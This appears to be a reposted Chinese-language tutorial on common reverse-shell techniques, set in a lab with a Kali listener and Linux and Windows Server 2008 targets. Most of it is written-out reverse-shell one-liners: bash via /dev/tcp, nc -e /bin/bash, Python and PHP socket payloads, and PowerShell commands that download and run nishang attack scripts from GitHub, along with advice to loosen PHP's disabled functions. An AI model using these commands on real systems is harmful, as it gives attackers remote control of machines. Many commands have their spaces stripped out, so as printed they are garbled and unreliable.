铭说 | 几种常见的反弹shell方式

原标题:铭说|几种常见的反弹shell方式

铭说 | 几种常见的反弹shell方式
文章图片
什么是反弹shell?通常我们对一个开启了80端口的服务器进行访问时 , 就会建立起与服务器Web服务链接 , 从而获取到服务器相应的Web服务 。 而反弹shell是我们开启一个端口进行监听 , 转而让服务器主动反弹一个shell来连接我们的主机 , 我们再通过接收到的shell进而来远程控制服务器 。

铭说 | 几种常见的反弹shell方式
文章图片
什么是Netcat?为什么选择Netcat?Netcat由于他体积小且功能强大的特性 , 常常使用者被称为“瑞士军刀”或者ncat , 在Debian、Mac系统中是默认安装的 。 想要在两台机器之间进行正向、反向连接 , Netcat通常是不二之选 , 反弹shell的使用中常用参数包括:
-efilename程序重定向-l监听接收信息-n以数字形式表示的IP地址-pport本地端口-uUDP模式-v显示详细信息(-vv能显示更加详细的消息)关于Netcatd的更多使用方法可参考:
https://www.freebuf.com/sectool/168661.html
Linux系统中常见的反弹shell实验环境:
Kali:192.168.178.131
CentOS7:192.168.178.218
方法一:利用Linux命令
#反弹命令:
bash-i>/dev/tcp/192.168.178.131/233330>&12>&1
在系统文件中是不存在/dev/tcp这个文件的 , 它是一个特殊文件 , 打开这个文件就类似于发出了一个socket调用 , 建立一个socket连接 , 读写这个文件就相当于在这个socket连接中传输数据 。 同理/dev/udp就是通过udp来进行传输 。

铭说 | 几种常见的反弹shell方式
文章图片
#Kali进行监听:
nc-lvp23333

铭说 | 几种常见的反弹shell方式
文章图片
方法二:利用nc命令
#反弹命令:
nc-e/bin/bash192.168.178.13123333
(利用了nc的重定向功能)

铭说 | 几种常见的反弹shell方式
文章图片
#Kali进行监听:
nc-lvp23333

铭说 | 几种常见的反弹shell方式
文章图片
方法三:利用脚本
1.Python
#反弹命令:
python-c"importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.178.131',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

铭说 | 几种常见的反弹shell方式
文章图片
#Kali进行监听:
nc-lvp23333

铭说 | 几种常见的反弹shell方式
文章图片
2.php
(前提:需要在php.ini中放开危险函数system,exec 。 可以通过php--ini来查询php配置文件路径 , 然后删除配置文件中“disable_funtions”变量中对应的函数名即可 。 )
(1)反弹命令(代码假设TCP连接的文件描述符为4 , 如果不行可以换成5或6):
php-r'$sock=fsockopen("192.168.178.131",23333);system("/bin/bash-i<&4>&42>&4");'

铭说 | 几种常见的反弹shell方式
文章图片
#Kali进行监听:
nc-lvp23333

铭说 | 几种常见的反弹shell方式
文章图片
(2)反弹命令:
php-r‘exec(“/bin/bash-i>&/dev/tcp/192.168.178.131/23333”);’

铭说 | 几种常见的反弹shell方式
文章图片
#Kali进行监听:
nc-lvp23333

铭说 | 几种常见的反弹shell方式
文章图片
Windows系统常见反弹命令实验环境:
Kali:192.168.178.131
Windowsserver2008:192.168.178.128
方法一:利用”nishang”攻击框架
Nishang(https://github.com/samratashok/nishang)是一个基于PowerShell的攻击框架 , 集合了一些PowerShell攻击脚本和有效载荷 , 可反弹TCP/UDP/HTTP/HTTPS/ICMP等类型shell 。
1.利用UDP反弹命令:
powershellIEX(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp-Reverse-IPAddress192.168.178.131-port23333

铭说 | 几种常见的反弹shell方式
文章图片
#Kali进行监听:
nc-lup23333

铭说 | 几种常见的反弹shell方式
文章图片
2.利用TCP反弹命令:
powershellIEX(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp-Reverse-IPAddress192.168.178.131-port23333